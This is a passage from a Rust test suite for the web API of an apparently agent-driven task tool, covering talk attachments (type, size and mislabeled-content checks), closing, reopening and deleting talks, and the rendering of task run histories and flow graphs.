14973            (400..500).contains(&svg.status),
14974            "svg must be refused: {} {}",
14975            svg.status,
14976            svg.body
14977        );
14978        assert!(svg.body.contains("SVG"), "{}", svg.body);
14979
14980        let text = f
14981            .post_bytes(
14982                &format!("/api/talks/{id}/attachments"),
14983                &[("Content-Type", "text/plain")],
14984                b"just some text",
14985            )
14986            .await;
14987        assert!(
14988            (400..500).contains(&text.status),
14989            "an unlisted type must be refused: {} {}",
14990            text.status,
14991            text.body
14992        );
14993
14994        // The declared type is a real png, but the size check runs before
14995        // the bytes are even looked at.
14996        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14997        let big = f
14998            .post_bytes(
14999                &format!("/api/talks/{id}/attachments"),
15000                &[("Content-Type", "image/png")],
15001                &oversized,
15002            )
15003            .await;
15004        assert_eq!(
15005            big.status,
15006            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15007            "{}",
15008            big.body
15009        );
15010    }
15011
15012    #[tokio::test]
15013    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15014        let f = Fixture::start().await;
15015        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15016
15017        // A whitelisted `Content-Type`, but bytes that are not actually a
15018        // png - the declared header alone is never trusted.
15019        let res = f
15020            .post_bytes(
15021                &format!("/api/talks/{id}/attachments"),
15022                &[("Content-Type", "image/png")],
15023                b"<html>not a picture</html>",
15024            )
15025            .await;
15026        assert!((400..500).contains(&res.status), "{}", res.body);
15027    }
15028
15029    #[tokio::test]
15030    async fn an_unknown_attachment_id_is_a_404() {
15031        let f = Fixture::start().await;
15032        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15033
15034        let res = f
15035            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15036            .await;
15037        assert_eq!(res.status, 404, "{}", res.body);
15038    }
15039
15040    #[tokio::test]
15041    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15042        let f = Fixture::start().await;
15043        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15044
15045        let uploaded = f
15046            .post_bytes(
15047                &format!("/api/talks/{id}/attachments"),
15048                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15049                PNG_BYTES,
15050            )
15051            .await;
15052        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15053        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15054
15055        let res = f
15056            .post(
15057                &format!("/api/talks/{id}/say"),
15058                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15059            )
15060            .await;
15061        assert_eq!(res.status, 202, "{}", res.body);
15062        let queued = res.json();
15063        let turns = queued["turns"].as_array().expect("turns array");
15064        assert_eq!(
15065            turns.len(),
15066            1,
15067            "an empty body with an attachment is still a turn: {queued}"
15068        );
15069        assert_eq!(turns[0]["who"], "operator");
15070        assert_eq!(turns[0]["body"], "");
15071        let atts = turns[0]["attachments"]
15072            .as_array()
15073            .expect("attachments array");
15074        assert_eq!(atts.len(), 1);
15075        assert_eq!(atts[0]["id"], att_id);
15076        assert_eq!(atts[0]["mime"], "image/png");
15077
15078        // Not only in the response: `record` flushes to disk before the
15079        // agent's own turn is even spawned.
15080        let on_disk = f.talks().get(&id).expect("get");
15081        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15082        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15083    }
15084
15085    #[tokio::test]
15086    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15087        let f = Fixture::start().await;
15088        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15089
15090        let res = f
15091            .post(
15092                &format!("/api/talks/{id}/say"),
15093                Some(&format!(
15094                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15095                    "a".repeat(32)
15096                )),
15097            )
15098            .await;
15099        assert!((400..500).contains(&res.status), "{}", res.body);
15100        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15101
15102        let on_disk = f.talks().get(&id).expect("get");
15103        assert!(
15104            on_disk.turns.is_empty(),
15105            "a rejected attachment id must not partially record the turn: {:?}",
15106            on_disk.turns
15107        );
15108    }
15109
15110    #[tokio::test]
15111    async fn talk_close_makes_the_talk_refuse_further_turns() {
15112        let f = Fixture::start().await;
15113        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15114
15115        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15116        assert_eq!(closed.status, 200, "{}", closed.body);
15117        assert_eq!(closed.json()["status"], "closed");
15118
15119        // Idempotent: closing an already-closed talk is not an error.
15120        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15121        assert_eq!(closed_again.status, 200);
15122        assert_eq!(closed_again.json()["status"], "closed");
15123
15124        let said = f
15125            .post(
15126                &format!("/api/talks/{id}/say"),
15127                Some(r#"{"text":"too late"}"#),
15128            )
15129            .await;
15130        assert_eq!(said.status, 409, "{}", said.body);
15131    }
15132
15133    #[tokio::test]
15134    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15135        let (_tmp, _repo, f) = talk_fixture().await;
15136        let id = f.post("/api/talks", None).await.json()["id"]
15137            .as_str()
15138            .expect("id")
15139            .to_owned();
15140        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15141        assert_eq!(closed.status, 200, "{}", closed.body);
15142
15143        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15144        assert_eq!(reopened.status, 200, "{}", reopened.body);
15145        assert_eq!(reopened.json()["status"], "open");
15146
15147        // Idempotent: reopening an already-open talk is not an error.
15148        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15149        assert_eq!(reopened_again.status, 200);
15150        assert_eq!(reopened_again.json()["status"], "open");
15151
15152        let said = f
15153            .post(
15154                &format!("/api/talks/{id}/say"),
15155                Some(r#"{"text":"still there?"}"#),
15156            )
15157            .await;
15158        assert_eq!(
15159            said.status, 202,
15160            "a reopened talk accepts turns again: {}",
15161            said.body
15162        );
15163    }
15164
15165    #[tokio::test]
15166    async fn talk_reopen_on_an_unknown_id_is_404() {
15167        let f = Fixture::start().await;
15168        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15169        assert_eq!(res.status, 404, "{}", res.body);
15170    }
15171
15172    #[tokio::test]
15173    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15174        let f = Fixture::start().await;
15175        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15176
15177        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15178        assert_eq!(deleted.status, 204, "{}", deleted.body);
15179
15180        let after = f.get(&format!("/api/talks/{id}")).await;
15181        assert_eq!(after.status, 404, "{}", after.body);
15182
15183        let listed = f.get("/api/talks").await.json();
15184        assert!(
15185            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15186            "a deleted talk must not linger in the list: {listed}"
15187        );
15188    }
15189
15190    #[tokio::test]
15191    async fn talk_delete_on_an_unknown_id_is_404() {
15192        let f = Fixture::start().await;
15193        let res = f.delete("/api/talks/nonexistent-id").await;
15194        assert_eq!(res.status, 404, "{}", res.body);
15195    }
15196
15197    /// A task's page lists every run it ever had, in order, and says what kind
15198    /// of attempt each was - including a resume, which re-pushes the same run
15199    /// id, and a run whose record this build cannot read.
15200    #[tokio::test]
15201    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15202        let f = Fixture::start().await;
15203        let (a, b, gone) = (
15204            "20260902-140501-aaaa",
15205            "20260902-140502-bbbb",
15206            "20260902-140503-cccc",
15207        );
15208        write_run(&f.runs(), a, RunStatus::Stalled);
15209        let mut review = RunState::new(
15210            PathBuf::from("/repo/magi"),
15211            "main".to_owned(),
15212            "0123456789abcdef".to_owned(),
15213            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15214                .to_owned(),
15215            Config::default(),
15216        );
15217        review.id = b.to_owned();
15218        review.status = RunStatus::Merged;
15219        write_state(&f.runs(), &review);
15220
15221        let mut task = Task::new(
15222            "retry".to_owned(),
15223            "Do the thing".to_owned(),
15224            PathBuf::from("/repo/magi"),
15225            Source::Human,
15226        );
15227        task.start(a.to_owned());
15228        task.stall("quota");
15229        task.start(a.to_owned());
15230        task.start(b.to_owned());
15231        task.start(gone.to_owned());
15232        // This fixture models an older queue file with repeated run entries.
15233        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15234        f.queue().put(&mut task).expect("file the task");
15235
15236        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15237        assert_eq!(res.status, 200, "{}", res.body);
15238        let v = res.json();
15239        let h = v["history"].as_array().expect("history");
15240        assert_eq!(h.len(), 4, "{v}");
15241        assert_eq!(h[0]["kind"], "competition");
15242        assert_eq!(h[0]["status"], "stalled");
15243        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15244        assert_eq!(h[1]["kind"], "resume", "{v}");
15245        assert!(
15246            h[0]["outcome"]
15247                .as_str()
15248                .unwrap()
15249                .contains("unknown. Pass #2"),
15250            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15251        );
15252        assert!(
15253            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15254            "{v}"
15255        );
15256        assert!(
15257            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15258            "an unrecorded cause must not be narrated as an operator park: {v}"
15259        );
15260        assert_eq!(h[2]["kind"], "review");
15261        assert!(
15262            h[2]["description"]
15263                .as_str()
15264                .unwrap()
15265                .contains("magi/aaaa/A")
15266        );
15267        assert_eq!(h[2]["status"], "merged");
15268        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15269        assert_eq!(v["runs_unreadable"], 1);
15270        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15271        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15272        assert_eq!(nodes[4]["note"], "unreadable");
15273        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15274        assert_eq!(v["instruction"], "Do the thing");
15275        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15276
15277        // The run's own page links back to the task.
15278        let run = f.get(&format!("/api/runs/{a}")).await.json();
15279        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15280
15281        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15282    }
15283
15284    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15285        let mut s = RunState::new(
15286            PathBuf::from("/repo/magi"),
15287            "main".to_owned(),
15288            "0123456789abcdef".to_owned(),
15289            "Do it".to_owned(),
15290            Config::default(),
15291        );
15292        s.status = status;
15293        edit(&mut s);
15294        s
15295    }
15296
15297    fn flow_task(runs: &[&str]) -> Task {
15298        let mut t = Task::new(
15299            "t".to_owned(),
15300            "Do it".to_owned(),
15301            PathBuf::from("/repo/magi"),
15302            Source::Human,
15303        );
15304        for r in runs {
15305            t.start((*r).to_owned());
15306        }
15307        // Synthetic flows without RunPass records model legacy queue data.
15308        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15309        t
15310    }
15311
15312    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15313        let h = task_history(task, |id| {
15314            states
15315                .iter()
15316                .find(|(i, _)| *i == id)
15317                .and_then(|(_, s)| s.clone())
15318        });
15319        task_flow(task, &h, 5, None)
15320    }
15321
15322    #[test]
15323    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15324        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15325        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15326        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15327        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15328        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15329        let run = flow_run(RunStatus::Implementing, |s| {
15330            s.created_at = created;
15331            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15332            s.passes[0].started_at = first;
15333            s.passes[1].started_at = resumed;
15334        });
15335        let mut task = flow_task(&[RUN_X, RUN_X]);
15336        task.created_at = queued;
15337        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15338        task.status = TaskStatus::Held;
15339        task.held_at = Some(held);
15340        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15341        assert_eq!(
15342            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15343            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15344        );
15345        assert!(flow.nodes.iter().all(|n| n.time_expected));
15346        let json = serde_json::to_value(&flow).unwrap();
15347        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15348        assert_eq!(json["nodes"][2]["time_expected"], true);
15349    }
15350
15351    #[test]
15352    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15353        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15354        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15355        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15356        // These timestamps are not the start of the current status.
15357        task.held_at = Some(created);
15358        task.blocked_at = Some(created);
15359        for status in [
15360            TaskStatus::Queued,
15361            TaskStatus::Running,
15362            TaskStatus::Blocked,
15363            TaskStatus::Done,
15364            TaskStatus::Failed,
15365            TaskStatus::Parked,
15366            TaskStatus::Held,
15367        ] {
15368            task.status = status;
15369            if status == TaskStatus::Held {
15370                task.held_at = None;
15371            }
15372            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15373            assert_eq!(flow.nodes[1].started_at, Some(created));
15374            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15375            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15376            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15377            let json = serde_json::to_value(&flow).unwrap();
15378            assert!(json["nodes"][3]["started_at"].is_null());
15379            assert_eq!(json["nodes"][3]["time_expected"], true);
15380        }
15381    }
15382
15383    #[test]
15384    fn flow_context_links_do_not_expect_start_times() {
15385        let mut task = flow_task(&[]);
15386        task.source = Source::Agent {
15387            run: "chat-id".to_owned(),
15388            node: "chat".to_owned(),
15389        };
15390        let origin = followup_origin(&fu(None), |_| None, |_| None);
15391        let flow = task_flow(&task, &[], 5, Some(&origin));
15392        for node in &flow.nodes[..2] {
15393            assert!(!node.time_expected);
15394            assert_eq!(node.started_at, None);
15395        }
15396        assert!(flow.nodes[2].time_expected);
15397    }
15398
15399    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15400        crate::queue::FollowUp {
15401            run: "20260901-000000-aaaa".to_owned(),
15402            origin_task: origin_task.map(str::to_owned),
15403            pr: "https://example.com/o/r/pull/1".to_owned(),
15404            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15405                .map(str::to_owned)
15406                .to_vec(),
15407            generation: 1,
15408        }
15409    }
15410
15411    fn parent_task() -> Task {
15412        let mut p = flow_task(&[]);
15413        p.title = "Parent title".to_owned();
15414        p.status = TaskStatus::Done;
15415        p
15416    }
15417
15418    #[test]
15419    fn flow_opens_with_the_parent_task_of_a_followup() {
15420        let p = parent_task();
15421        let pid = p.id.clone();
15422        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15423        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15424        let n = &f.nodes[0];
15425        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15426        assert_eq!(
15427            n.label,
15428            format!("Follow-up of {}", crate::queue::short(&pid))
15429        );
15430        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15431        assert_eq!(n.status, Some("done"));
15432        assert_eq!(n.status_of, "task");
15433        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15434        assert_eq!(f.nodes[1].key, "start");
15435        assert_eq!(f.edges[0].from, "origin");
15436        assert_eq!(
15437            f.edges[0].label,
15438            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15439        );
15440    }
15441
15442    #[test]
15443    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15444        let o = followup_origin(
15445            &fu(Some("gone")),
15446            |_| None,
15447            |_| {
15448                Some(RunState::new(
15449                    std::path::PathBuf::from("."),
15450                    "main".to_owned(),
15451                    "0".to_owned(),
15452                    "t".to_owned(),
15453                    crate::config::Config::default(),
15454                ))
15455            },
15456        );
15457        assert!(o.parent.is_none());
15458        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15459        let n = &f.nodes[0];
15460        assert_eq!(n.status_of, "run");
15461        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15462        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15463    }
15464
15465    #[test]
15466    fn flow_followup_with_nothing_readable_has_no_link() {
15467        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15468        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15469        let n = &f.nodes[0];
15470        assert_eq!(n.href, None);
15471        assert_eq!(n.note, Some("unreadable"));
15472        assert!(!n.readable);
15473    }
15474
15475    #[test]
15476    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15477        let o = followup_origin(&fu(None), |_| None, |_| None);
15478        let mut t = flow_task(&[]);
15479        t.origin_chat = Some("c1".to_owned());
15480        let f = task_flow(&t, &[], 5, Some(&o));
15481        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15482        t.source = Source::Agent {
15483            run: "c1".to_owned(),
15484            node: crate::queue::CHAT_NODE.to_owned(),
15485        };
15486        let f = task_flow(&t, &[], 5, Some(&o));
15487        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15488        assert_eq!(
15489            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15490            ("chat", "origin")
15491        );
15492    }
15493
15494    #[test]
15495    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15496        let mut p = parent_task();
15497        p.id = "a b/c".to_owned();
15498        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15499        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15500    }
15501
15502    #[test]
15503    fn flow_opens_with_the_chat_that_queued_the_task() {
15504        let mut t = flow_task(&[]);
15505        t.source = Source::Agent {
15506            run: "a b/c".to_owned(),
15507            node: crate::queue::CHAT_NODE.to_owned(),
15508        };
15509        let f = flow_for(&t, &[]);
15510        assert_eq!(f.nodes[0].key, "chat");
15511        assert_eq!(f.nodes[0].kind, "chat");
15512        assert_eq!(
15513            f.nodes[0].label,
15514            format!("Chat {}", crate::queue::short("a b/c"))
15515        );
15516        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15517        assert_eq!(f.nodes[1].key, "start");
15518        assert_eq!(
15519            f.edges[0],
15520            FlowEdge {
15521                from: "chat".to_owned(),
15522                to: "start".to_owned(),
15523                label: "queued from chat".to_owned(),
15524                attempt: AttemptCost::None,
15525            }
15526        );
15527    }
15528
15529    #[test]
15530    fn flow_has_no_chat_box_for_other_sources() {
15531        for source in [
15532            Source::Human,
15533            Source::Issue {
15534                number: 3,
15535                repo: "o/r".to_owned(),
15536            },
15537            Source::Agent {
15538                run: "20260904-014455-ab12".to_owned(),
15539                node: "implement".to_owned(),
15540            },
15541        ] {
15542            let mut t = flow_task(&[]);
15543            t.source = source;
15544            let f = flow_for(&t, &[]);
15545            assert_eq!(f.nodes[0].key, "start");
15546            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15547            assert!(f.edges.iter().all(|e| e.from != "chat"));
15548        }
15549    }
15550
15551    const FA: &str = "20260902-140501-aaaa";
15552    const FB: &str = "20260902-140502-bbbb";
15553
15554    #[test]
15555    fn flow_follows_blocked_retry_merged_to_done() {
15556        let mut t = flow_task(&[FA, FB]);
15557        t.status = TaskStatus::Done;
15558        let f = flow_for(
15559            &t,
15560            &[
15561                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15562                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15563            ],
15564        );
15565        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15566        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15567        assert_eq!(f.edges.len(), 3);
15568        assert_eq!(f.edges[0].label, "claimed");
15569        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15570        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15571        assert_eq!(f.edges[2].label, "merged \u{2192} done");
15572        assert_eq!(
15573            f.nodes[2].href.as_deref(),
15574            Some("#/runs/20260902-140502-bbbb")
15575        );
15576        assert!(f.nodes[2].decided);
15577    }
15578
15579    #[test]
15580    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15581        let quota = || {
15582            flow_run(RunStatus::Stalled, |s| {
15583                s.quota.push(crate::run::QuotaLoss {
15584                    seat: "judge-1".to_owned(),
15585                    node: "judge".to_owned(),
15586                    at: Timestamp::now(),
15587                    reset: None,
15588                })
15589            })
15590        };
15591        let mut t = flow_task(&[FA, FA]);
15592        t.status = TaskStatus::Queued;
15593        let f = flow_for(&t, &[(FA, Some(quota()))]);
15594        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15595        assert_eq!(f.nodes[1].note, Some("interrupted"));
15596        assert_eq!(
15597            f.nodes[1].status, None,
15598            "no outcome copied onto an earlier pass"
15599        );
15600        assert_eq!(
15601            f.edges[1].attempt,
15602            AttemptCost::Unknown,
15603            "a resume does not prove the earlier pass was refunded"
15604        );
15605        assert!(f.edges[1].label.contains("resume the same run"));
15606        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15607        assert_eq!(
15608            f.edges[2].label,
15609            "stalled after a resume, refund unknown \u{2192} queued"
15610        );
15611        assert!(!f.nodes[2].decided, "a stall is not a decision");
15612        assert_eq!(f.nodes[2].note, Some("no verdict"));
15613    }
15614
15615    #[test]
15616    fn flow_single_pass_quota_stall_is_refunded() {
15617        let t = flow_task(&[FA]);
15618        let f = flow_for(
15619            &t,
15620            &[(
15621                FA,
15622                Some(flow_run(RunStatus::Stalled, |s| {
15623                    s.quota.push(crate::run::QuotaLoss {
15624                        seat: "judge-1".to_owned(),
15625                        node: "judge".to_owned(),
15626                        at: Timestamp::now(),
15627                        reset: None,
15628                    })
15629                })),
15630            )],
15631        );
15632        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15633    }
15634
15635    #[test]
15636    fn flow_parked_refunds_and_stall_without_quota_spends() {
15637        let mut t = flow_task(&[FA]);
15638        t.status = TaskStatus::Queued;
15639        let f = flow_for(
15640            &t,
15641            &[(
15642                FA,
15643                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15644            )],
15645        );
15646        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15647        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15648        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15649        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15650        assert!(!f.nodes[1].decided);
15651    }
15652
15653    #[test]
15654    fn flow_keeps_an_unreadable_run_as_its_own_node() {
15655        let t = flow_task(&[FA, FB]);
15656        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15657        assert_eq!(f.nodes[1].note, Some("unreadable"));
15658        assert!(!f.nodes[1].readable);
15659        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15660        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15661    }
15662
15663    #[test]
15664    fn flow_names_the_branch_of_a_review_only_run() {
15665        let t = flow_task(&[FA]);
15666        let f = flow_for(
15667            &t,
15668            &[(
15669                FA,
15670                Some(flow_run(RunStatus::Merged, |s| {
15671                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15672                })),
15673            )],
15674        );
15675        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15676        assert_eq!(
15677            f.nodes[1].detail.as_deref(),
15678            Some("review-only run of branch magi/x/A")
15679        );
15680    }
15681
15682    #[test]
15683    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15684        let mut t = flow_task(&[FA]);
15685        t.status = TaskStatus::Held;
15686        let pr = crate::run::PrRecord {
15687            url: "https://example.test/pr/1".to_owned(),
15688            number: 1,
15689            state: "open".to_owned(),
15690            checks: "green".to_owned(),
15691            round: 0,
15692            rounds: 3,
15693            red_at_merge: Vec::new(),
15694        };
15695        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15696        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15697        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15698        t.status = TaskStatus::Done;
15699        let f = flow_for(&t, &[(FA, Some(blocked))]);
15700        assert_eq!(f.edges[1].label, "closed by hand: task is done");
15701    }
15702
15703    #[test]
15704    fn flow_with_no_runs_goes_from_queued_to_queued() {
15705        let t = flow_task(&[]);
15706        let f = flow_for(&t, &[]);
15707        assert_eq!(f.nodes.len(), 2);
15708        assert_eq!(f.edges.len(), 1);
15709        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15710        assert_eq!(f.edges[0].attempt, AttemptCost::None);
15711    }
15712
15713    /// A run parked mid-flight keeps a non-terminal status; the page must
15714    /// still say why it stopped and that the attempt came back.
15715    #[test]
15716    fn a_parked_non_terminal_run_is_explained_as_parked() {
15717        let mut s = RunState::new(
15718            PathBuf::from("/repo/magi"),
15719            "main".to_owned(),
15720            "0123456789abcdef".to_owned(),
15721            "Do it".to_owned(),
15722            Config::default(),
15723        );
15724        s.status = RunStatus::Implementing;
15725        s.parked = true;
15726        let task = Task::new(
15727            "t".to_owned(),
15728            "Do it".to_owned(),
15729            PathBuf::from("/repo/magi"),
15730            Source::Human,
15731        );
15732        let v = task_run_view(
15733            "20260902-140501-aaaa",
15734            Some(&s),
15735            RunSlot {
15736                n: 1,
15737                resumed: false,
15738                resumed_later: None,
15739                prior: None,
15740                last: true,
15741                ..RunSlot::default()
15742            },
15743            &task,
15744        );
15745        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15746    }
15747
15748    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15749        let mut s = flow_run(RunStatus::Implementing, edit);
15750        s.parked = false;
15751        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15752        task_run_view(
15753            "20260902-140501-aaaa",
15754            Some(&s),
15755            RunSlot {
15756                n: 1,
15757                resumed: false,
15758                resumed_later: Some(2),
15759                prior: None,
15760                last: false,
15761                ..RunSlot::default()
15762            },
15763            &task,
15764        )
15765    }
15766
15767    #[test]
15768    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15769        let v = earlier_pass_view(|_| {});
15770        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15771        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15772        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15773        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15774        assert_eq!(v.exit, RunExit::Interrupted);
15775        assert_eq!(v.attempt, AttemptCost::Unknown);
15776    }
15777
15778    #[test]
15779    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15780        let v = earlier_pass_view(|s| {
15781            s.quota.push(crate::run::QuotaLoss {
15782                seat: "judge-1".to_owned(),
15783                node: "judge".to_owned(),
15784                at: Timestamp::now(),
15785                reset: None,
15786            });
15787        });
15788        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15789        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15790        assert_eq!(v.attempt, AttemptCost::Unknown);
15791    }
15792
15793    #[test]
15794    fn the_current_pass_states_its_recorded_cause_and_cost() {
15795        let slot = || RunSlot {
15796            n: 1,
15797            resumed: false,
15798            resumed_later: None,
15799            prior: None,
15800            last: true,
15801            ..RunSlot::default()
15802        };
15803        let task = flow_task(&["20260902-140501-aaaa"]);
15804        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15805        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15806        assert_eq!(
15807            (v.exit, v.attempt),
15808            (RunExit::Parked, AttemptCost::Refunded)
15809        );
15810        let spent = flow_run(RunStatus::Blocked, |_| {});
15811        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15812        assert_eq!(v.attempt, AttemptCost::Spent);
15813        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15814    }
15815
15816    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15817        crate::run::RunPass {
15818            index,
15819            started_at: Timestamp::now(),
15820            resumed: index > 0,
15821            ended_at: end.as_ref().map(|_| Timestamp::now()),
15822            end,
15823            task_entry: true,
15824        }
15825    }
15826
15827    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15828        Some(crate::run::PassEnd::Parked { cause })
15829    }
15830
15831    fn upgrade_cause() -> crate::run::ParkCause {
15832        crate::run::ParkCause::Upgrade {
15833            from: "0.121.0".to_owned(),
15834            to: Some("0.121.1".to_owned()),
15835        }
15836    }
15837
15838    fn settled_pass(
15839        run: &str,
15840        index: usize,
15841        cost: crate::queue::PassCost,
15842    ) -> crate::queue::TaskPass {
15843        crate::queue::TaskPass {
15844            run: run.to_owned(),
15845            pass_index: index,
15846            started_at: None,
15847            cost,
15848            attempts_after: 1,
15849            settled_at: Timestamp::now(),
15850            parked: None,
15851        }
15852    }
15853
15854    const RUN_X: &str = "20261011-223708-4334";
15855
15856    #[test]
